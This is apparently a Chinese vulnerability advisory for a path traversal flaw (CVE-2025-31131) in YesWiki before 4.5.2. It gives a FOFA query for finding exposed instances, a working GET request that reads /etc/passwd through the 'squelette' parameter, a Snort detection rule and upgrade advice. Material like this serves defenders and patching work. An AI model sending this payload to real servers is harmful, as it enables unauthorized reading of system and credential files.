Yeswiki 4.5.2 (CVE-2025-31131)任意文件读取漏洞¶
Yeswiki任意文件读取漏洞该squelette参数容易受到路径遍历攻击,从而允许读取服务器上的任意文件。有效载荷../../../../../../etc/passwd已在参数中提交squelette。请求的文件已在应用程序的响应中返回。
影响版本¶
Yeswiki < 4.5.2
漏洞状态¶
| 漏洞细节 | 漏洞POC | 漏洞EXP | 在野利用 |
|---|---|---|---|
| 是 | 已公开 | 已公开 | 已知 |
风险等级¶
| 维度 | 评价 |
|---|---|
| 威胁等级 | 高危 |
| 影响面 | 广 |
| 攻击者价值 | 高 |
| 利用难度 | 低 |
漏洞复现¶
FOFA:app="YesWiki"
POC/EXP:
GET /?UrkCEO/edit&theme=margot&squelette=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd&style=margot.css HTTP/1.1
Host: 127.0.0.1

snort规则:
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
msg:"WEB-ATTACKS Specific Directory Traversal attempt - UrkCEO pattern";
flow:to_server,established;
content:"GET"; http_method;
content:"/"; http_uri;
content:"UrkCEO/edit&theme=margot&squelette="; http_uri;
pcre:"/squelette=([\.%2f]{2,}){5,}etc%2fpasswd/i";
metadata:service http;
reference:cve,CVE-2025-31131;
reference:url,www.owasp.org/index.php/Path_Traversal;
classtype:web-application-attack;
sid:1000004;
rev:1;
priority:1;
)
漏洞修复¶
关闭互联网暴露面或接口设置访问权限
升级至安全版本